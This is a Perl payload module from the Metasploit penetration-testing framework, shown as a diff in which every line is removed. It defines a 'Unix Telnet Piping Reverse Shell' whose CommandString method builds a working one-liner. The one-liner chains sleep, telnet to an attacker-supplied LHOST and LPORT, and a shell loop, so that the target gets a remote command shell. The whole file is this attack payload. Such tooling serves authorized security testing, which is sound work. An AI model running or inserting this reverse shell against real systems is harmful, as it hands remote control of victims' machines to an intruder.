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-
- ##
- # This file is part of the Metasploit Framework and may be redistributed
- # according to the licenses defined in the Authors field below. In the
- # case of an unknown or missing license, this file defaults to the same
- # license as the core Framework (dual GPLv2 and Artistic). The latest
- # version of the Framework can always be obtained from metasploit.com.
- ##
-
- package Msf::Payload::cmd_unix_reverse;
- use strict;
- use base 'Msf::PayloadComponent::CommandPayload';
- sub _Load {
- Msf::PayloadComponent::CommandPayload->_Import('Msf::PayloadComponent::DoubleReverseConnection');
- __PACKAGE__->SUPER::_Load();
- }
-
- my $info =
- {
- 'Name' => 'Unix Telnet Piping Reverse Shell',
- 'Version' => '$Revision: 1.25 $',
- 'Description' => 'Use telnet|sh|telnet to simulate reverse shell',
- 'Authors' => [ 'spoonm <ninjatools [at] hush.com>', ],
- 'Priv' => 0,
- 'OS' => [ 'linux', 'bsd', 'hpux', 'irix', 'aix', 'solaris' ],
- };
-
- sub new {
- _Load();
- my $class = shift;
- my $hash = @_ ? shift : { };
- $hash = $class->MergeHashRec($hash, {'Info' => $info});
- my $self = $class->SUPER::new($hash, @_);
- return($self);
- }
-
- sub CommandString {
- my $self = shift;
- my $host = $self->GetVar('LHOST');
- my $port = $self->GetVar('LPORT');
-
- # The sleep command keeps telnet from exiting due to an empty read
- # from stdin. 7200 seconds clears the sleep's from the process table
- # after a couple of hours. If you need a shell longer than this, then
- # you are already doing something wrong :-)
- my $command =
- "sleep 7200|".
- "telnet $host $port|".
- "while : ; do sh && break; done 2>&1|".
- "telnet $host $port";
-
- return($command);
- }
-
- 1;
-